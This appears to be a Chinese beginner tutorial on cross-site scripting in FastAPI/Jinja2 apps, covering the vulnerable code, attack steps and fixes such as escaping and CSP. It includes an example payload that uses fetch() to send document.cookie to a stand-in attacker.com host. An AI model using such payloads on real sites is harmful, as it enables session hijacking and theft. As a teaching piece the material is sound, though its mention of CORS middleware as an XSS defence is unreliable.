安全小白入门(2)-----跨站脚本(XSS)

跨站脚本(XSS)

1. 漏洞原理

XSS 是由于 用户输入的恶意脚本未被转义,直接在浏览器中执行,导致攻击者窃取 Cookie、伪造身份或钓鱼。FastAPI 虽以 JSON 接口为主,但若返回 HTML 内容(如模板渲染)或前端直接渲染 API 返回的用户输入,仍可能触发 XSS。

2. 攻击场景(FastAPI 漏洞代码)

假设 FastAPI 接口返回包含用户输入的 HTML 页面(使用 Jinja2 模板):

python 复制代码
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

# 漏洞接口:未转义用户输入,直接渲染到HTML
@app.get("/welcome")
def welcome(request: Request, username: str):
    # 危险!username直接拼接进HTML,若包含脚本会执行
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": username  # 攻击者可构造username=<script>恶意代码</script>
    })

对应的templates/welcome.html模板:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>Welcome</title>
</head>
<body>
    <!-- 未转义渲染用户输入 -->
    <h1>Welcome, {{ username }}!</h1>
</body>
</html>

攻击步骤:

  1. 攻击者访问接口,构造恶意username/welcome?username=<script>alert('XSS')</script>
  2. 浏览器渲染页面时, <script>标签被执行,弹出 "XSS" 提示(简单演示)。
  3. 进阶攻击:窃取 Cookie 并发送到攻击者服务器:/welcome?username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>若用户已登录,Cookie 包含会话信息,攻击者可劫持会话。

3. 防护方案(修复代码 + 最佳实践)

核心原则:对用户输入进行 HTML 转义,或避免在 HTML 中直接渲染用户输入

修复方案 1:模板自动转义(Jinja2 默认开启)

Jinja2 模板默认会对{{ variable }}进行 HTML 转义(将<转义为&lt;>转义为&gt;等),恶意脚本会被当作普通文本显示。上述代码无需修改,Jinja2 已自动防护 ------ 若用户输入<script>,会被转义为&lt;script&gt;,不会执行。

修复方案 2:手动转义(若需自定义渲染)

若使用其他模板引擎或手动拼接 HTML,需手动转义用户输入(使用html模块):

python 复制代码
import html

@app.get("/welcome")
def welcome(request: Request, username: str):
    # 手动转义用户输入,确保安全
    safe_username = html.escape(username)
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": safe_username
    })

额外防护:

  • 避免返回 HTML:FastAPI 优先使用 JSON 接口,前端通过 JavaScript 渲染数据(JSON 不会执行脚本)。
  • 设置安全响应头:通过fastapi.middleware.cors.CORSMiddleware限制跨域,或添加Content-Security-Policy(CSP)头,禁止加载外部脚本。
相关推荐
q***T5831 小时前
Java安全编程实践
安全
●VON1 小时前
Electron 实战:纯图片尺寸调节工具(支持锁定纵横比)
前端·javascript·electron·开源鸿蒙
半瓶神仙醋1 小时前
uniapp 项目接入 sentry监控
前端
谁黑皮谁肘击谁在连累直升机1 小时前
包及其导入
前端·后端
在下历飞雨1 小时前
Kuikly 基础之封装自定义音频播放模块
前端
vim怎么退出1 小时前
React 项目诡异白屏事故复盘:JSON.stringify、循环引用、setState 死循环,一个都没跑
前端·debug
架构师专栏1 小时前
从 Spring Boot 3 升级到 4:完整迁移指南
spring boot·后端
Danny_FD1 小时前
使用Highcharts创建3D环形图
前端·echarts
我的div丢了肿么办1 小时前
js中async和await 的详细讲解
前端·javascript·vue.js